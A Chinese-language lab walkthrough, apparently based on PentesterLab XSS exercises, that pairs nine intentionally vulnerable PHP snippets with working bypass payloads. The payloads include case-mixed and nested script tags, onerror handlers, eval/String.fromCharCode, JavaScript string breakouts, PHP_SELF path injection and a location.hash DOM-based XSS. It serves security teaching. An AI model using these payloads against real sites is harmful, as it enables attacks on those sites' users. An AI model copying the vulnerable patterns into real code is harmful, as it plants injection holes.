跨站点脚本源于信息发送给应用程序用户时缺乏编码。这可以用来注入任意的HTML和JavaScript; 结果是该有效载荷在合法用户的网络浏览器中运行。与其他攻击相反,XSS漏洞针对应用程序的用户,而不是直接针对服务器。
一些漏洞利用的例子包括:
- 注入假登录表单;
- 检索合法用户的Cookie;
- 注入浏览器的漏洞;
- 让用户在Web应用程序中执行任意操作;
- …
在本节中,我们将只关注跨站脚本的检测。您将不得不等待关于此主题的全面练习,以获取有关如何利用这些漏洞的更多详细信息。
XSS漏洞最简单也是最常见的证据就是弹出一个警告框。这个有效载荷有很多优点:
- 它表明可以触发JavaScript;
- 这很简单;
- 它是无害的。
要触发弹出窗口,您只需使用以下有效负载:alert(‘hello’)。
如果你在注入HTML代码,你需要告诉浏览器这是JavaScript代码。你可以使用<script>标签来做到这一点:
<script>alert('hello');</script>
在测试XSS时,需要记住两件重要的事情:
- 您从服务器获得的响应可能不是唯一的信息将被回显的地方。如果您注入了有效负载内容并且您在页面A中正确编码了它,这并不意味着此信息将在页面B中正确编码。
- 如果您发现编码存在问题,但无法运行您的XSS有效负载,则其他人可能能够运行。报告编码问题总是很重要的,即使某些保护措施阻止了您执行您的有效负载。安全是一个不断发展的领域,每周都会发布新的技巧。即使您现在不能利用XSS漏洞,您或其他人也许可以在稍后获得另一个有效负载。
XSS有三种类型:
- 反映:有效载荷直接回应。
- 存储:有效负载可以直接在响应中回显,但更重要的是,当您返回此页面或其他页面时,会在响应中回显。有效载荷存储在应用程序的后端。
- 基于DOM的:有效载荷不在页面中回显。它在浏览器呈现页面时动态执行。
在测试XSS时,您需要阅读发回的HTML页面的来源,您不能只是等待弹出警报框。检查哪些字符被编码,哪些字符不被编码。从这个角度来看,你可能会发现一个有效载荷。
一些浏览器提供了针对XSS的内置保护。这种保护可以由服务器启用或禁用(它在ISO中已被禁用)。如果您发现您的有效载荷直接在页面中回显,但没有警报框弹出,可能是因为这种保护。您也可以通过告诉浏览器将其禁用来禁用此保护。例如,在Chrome中,可以通过使用该选项运行Chrome来完成此操作–disable-xss-auditor。
Example 1
第一个易受攻击的例子就是让你开始了解当你找到XSS时发生的事情。使用基本的有效载荷,你应该能够得到一个警告框。
文件代码:
<?php require_once '../header.php'; ?> <html> Hello <?php echo $_GET["name"]; ?> <?php require_once '../footer.php'; ?>
一旦你发送你的有效载荷,你应该得到像这样的东西:
确保您检查HTML页面的源代码,以确定您作为请求的一部分发送的信息在没有任何HTML编码的情况下回显。
Example 2
<?php require_once '../header.php'; ?> Hello <?php $name = $_GET["name"]; $name = preg_replace("/<script>/","", $name); $name = preg_replace("/<\/script>/","", $name); echo $name; ?> <?php require_once '../footer.php'; ?>
在第二个例子中,涉及一些过滤。Web开发人员添加了一些正则表达式,以防止简单的XSS有效负载工作。
如果你玩,你可以看到<script>和</script>被过滤。绕过这些类型的过滤器的最基本的方法之一是大 胆测试:如果你尝试<sCript>,</sCRIpt,例如,你应该能够得到警报框。
Example 3
<?php require_once '../header.php'; ?> Hello <?php $name = $_GET["name"]; $name = preg_replace("/<script>/i","", $name); $name = preg_replace("/<\/script>/i","", $name); echo $name; ?> <?php require_once '../footer.php'; ?>
您向开发人员通知了您的绕开方法。他添加了更多过滤功能,现在似乎可以防止您之前的有效负载。然而,他在他的代码中犯了一个可怕的错误(前面的代码也出现了这个错误)……
如果你继续玩耍,你会意识到如果你使用Pentest<script>erLab有效载荷,则显示为:PentesterLab。
我们可以这样来实现xss攻击:
http://192.168..12/xss/example3.php?name=<Sc<script>ript>alert(1)<%2fSc</script>ript>
他会把<script>和</script>过滤掉,所以从当中插入,另外”/”需要转成 %2f 编码一下
Example 4
<?php require_once '../header.php'; if (preg_match('/script/i', $_GET["name"])) { die("error"); } ?> Hello <?php echo $_GET["name"]; ?> <?php require_once '../footer.php'; ?>
在此示例中,开发人员决定将单词script完全列入黑名单:如果请求匹配script,则执行停止。
幸运的是(或者不幸的是取决于你在哪一方面),有很多方法可以运行JavaScript(非详尽列表):
- 与<a标签和下列事件:onmouseover(你需要通过你的鼠标移动到链接)onmouseout,onmousemove,onclick…
- 与<a直接在网址标签:<a href=’javascript:alert(1)’…(你需要点击触发JavaScript代码,并记住,这是行不通的,因为你不能使用链接script在这个例子中)。
- 与<img标签直接与事件onerror:<img src=’zzzz’ onerror=’alert(1)’ />。
- 与<div标签和下列事件:onmouseover(你需要通过你的鼠标移动到链接)onmouseout,onmousemove,onclick…
- …
您可以使用这些技术中的任何一种来使警报框弹出。例如,可以这样来XSS攻击:
name=<img%20src="image.gif"%20onerror="alert(1)"%20/>
从而避开了script。
小总结:如果怎样的<script>都不管用了,制造一堆事件,onmouseout, onmousemove….
<a href=’javascript:alert(1)’ <img src=’zzzz’ onerror=’alert(1)’ />.
Example 5
<?php require_once '../header.php'; if (preg_match('/alert/i', $_GET["name"])) { die("error"); } ?> Hello <?php echo $_GET["name"]; ?> <?php require_once '../footer.php'; ?>
在这个例子中,<script>标签被接受并被回显。但是,只要尝试将alert注入,PHP脚本就会停止执行。这个问题似乎来自对这个词alert的过滤。
使用JavaScript的eval和String.fromCharCode(),你应该能够得到一个警告框,而不是直接使用alert这个词。String.fromCharCode()会将整数(十进制值)解码为相应的字符。
您可以编写一个小工具,使用您最喜欢的脚本语言将您的有效负载转换为此格式。
使用这个技巧和ascii表,你可以很容易地生成字符串:alert(1)并在其上调用eval。
name=<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41));</script>
另一个更简单的绕过是使用函数prompt或confirm在Javascript中。他们不太知道,但会给你同样的结果。
小总结:alter被过滤,用 eval 和 String.fromCharCode(),把ascii数字转成字符再执行,可以获得alert(1),prompt 和 confirm也是弹窗。
Example 6
<?php require_once '../header.php'; ?> Hello <script> var $a= "<?php echo $_GET["name"]; ?>"; </script> <?php require_once '../footer.php'; ?>
这里,HTML页面的源代码有点不同。如果您阅读它,您将看到您发送的值在JavaScript代码中回显。要获取警报框,您不需要注入脚本标记,只需要正确完成预先存在的JavaScript代码并添加自己的有效负载,然后您需要在注入点之后删除代码。注释掉(使用//)或添加一些虚拟代码(var $dummy = “)以正确关闭它。
name=";alert(1);/
name=";alert(1);var $dummy = "
注意:%20是指ASCII码中“空格”的十六进制。
小总结:如果?name=的值是写入<script></script>里面的,比如var s=””,那就在?name=“;alert(1);”,直接把东西写到双引号,注意每句结尾的分号。
Example 7
<?php require_once '../header.php'; ?> Hello <script> var $a= '<?php echo htmlentities($_GET["name"]); ?>'; </script> <?php require_once '../footer.php'; ?>
这个例子与之前的例子类似。这一次,您将无法使用特殊字符,因为它们将以HTML编码。如你所见,你并不需要任何这些角色。
这个问题在PHP Web应用程序中很常见,因为用于HTML编码字符(htmlentities)的众所周知的函数不编码单引号(’),除非您使用该ENT_QUOTES标志告诉它这样做。
name=%27;alert(1);$b=%27
注意:%27是指ASCII码中“单引号”的十六进制。
小总结:php会把输出的内容html编码,但是htmlentities函数一般情况单引号’不在内。
Example 8
<?php require_once '../header.php'; if (isset($_POST["name"])) { echo "HELLO ".htmlentities($_POST["name"]); } ?> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST"> Your name:<input type="text" name="name" /> <input type="submit" name="submit"/> <?php require_once '../footer.php'; ?>
这里,页面中回显的值被正确编码。但是,该页面仍然存在XSS漏洞。为了构建表单,开发人员使用并信任PHP_SELF哪个是用户提供的路径。可以操作应用程序的路径以便:
- 调用当前页面(但是你会得到一个HTTP 404页面);
- 在页面中获取XSS有效载荷。
可以这样做,因为服务器的当前配置将/xss/example8.php在/xss/example8.php/…访问任何URL匹配时调用。您只需访问即可在页面中获取有效负载/xss/example8.php/[XSS_PAYLOAD]。现在您知道在何处注入您的有效载荷,您需要调整它以使其工作并获得着名的警报框。
/"><script>alert(1)</script>
就好了。
Example 9
<?php require_once '../header.php'; ?> <script> document.write(location.hash.substring(1)); </script> <?php require_once '../footer.php'; ?>
这个例子是一个基于DOM的XSS。这个页面实际上可能是完全静态的,仍然容易受到攻击。
在这个例子中,您需要阅读页面的代码才能理解正在发生的事情。呈现页面时,JavaScript代码使用当前URL来检索URL(#…)的锚点部分,并动态地(在客户端)将其写入页面内。如果您使用有效负载作为URL的一部分,则可以用它来触发XSS漏洞。
小总结:面对静态文件,不要慌,看看里面的js怎么写的?js对url进行操作,写进html里,那就改url,把<script>嵌进里面</script>。